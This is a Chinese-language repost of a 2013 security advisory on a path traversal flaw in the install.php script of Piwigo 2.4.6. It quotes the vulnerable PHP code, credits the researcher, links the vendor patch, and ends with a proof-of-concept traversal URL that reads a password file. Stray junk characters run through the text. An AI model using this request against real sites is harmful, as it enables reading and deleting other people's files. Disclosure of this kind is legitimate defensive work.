Piwigo是用PHP编写的相册脚本。
3 B3 }5 U9 |# l& ~
! Q/ ?& v8 o. K' T+ {) [' \0 ?* ]Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
7 P- Y o6 D0 s, O/ D====================================================================
, w: D7 x B- h( ]6 R/ b, N" b/install.php:
1 p* G2 y. i5 ^-------------
" t; k ~9 ~5 V% }113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
; ]: h9 c" D8 e114: {
( W! Y& y8 E3 Q0 _115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];, Q$ l1 V! {" K g
116: header('Cache-Control: no-cache, must-revalidate');; F& Z2 H4 I( L3 C7 G
117: header('Pragma: no-cache');
# M y S' P2 y/ _7 \118: header('Content-Disposition: attachment; filename="database.inc.php"');
) |! x2 t. {/ ~4 ^+ B: C$ t119: header('Content-Transfer-Encoding: binary');- B, I8 f: ~/ L E
120: header('Content-Length: '.filesize($filename));6 h, d/ a6 I: z5 `
121: echo file_get_contents($filename);
! m0 O( X8 x- v/ m) S! k, }122: unlink($filename);/ {8 F/ ~ }; ]( W/ [+ ?/ K7 u
123: exit();
6 Z4 b1 H0 N+ o124: }
; V+ i# f9 h' f6 F" [( J R====================================================================
* H% z, |3 s* c7 j) U# N6 W
- N0 ~0 L# `; {, H* Z% l, @' R1 JTested on: Microsoft Windows 7 Ultimate SP1 (EN)
3 Y" `5 \7 I; W- e1 n6 s8 ?. C4 c Apache 2.4.2 (Win32)
% s* y4 x3 w0 o; O" A PHP 5.4.4& Y4 T% f5 U9 y4 P5 ~& r
MySQL 5.5.25a
4 k% i. w$ ~/ T2 K- ~3 y* c% ~& K
2 f7 C: {' [% c a& J5 dVulnerability discovered by Gjoko 'LiquidWorm' Krstic! d) Y% j+ }+ E- A9 I; ^0 C
@zeroscience8 f; B2 u2 s1 s
. k% ~9 h* {; m" s0 ?- N6 C8 j
Advisory ID: ZSL-2013-5127
+ h: k3 T# P1 k! P, W6 M) dAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php. Y! M9 O1 L! L1 _$ c- p
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
1 u( ]3 @. ~! S# o
4 Y2 v0 [1 d% `15.02.2013
! Q# E6 p% ]1 F R9 d& n( p& W
2 R- I6 j9 a4 A0 N--4 a" x( N# x5 K& @( H8 k4 M* r) Q X4 o- }
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt4 a7 {+ u; a# L6 x) E5 o' H
0 W$ [# c3 f2 @, g
|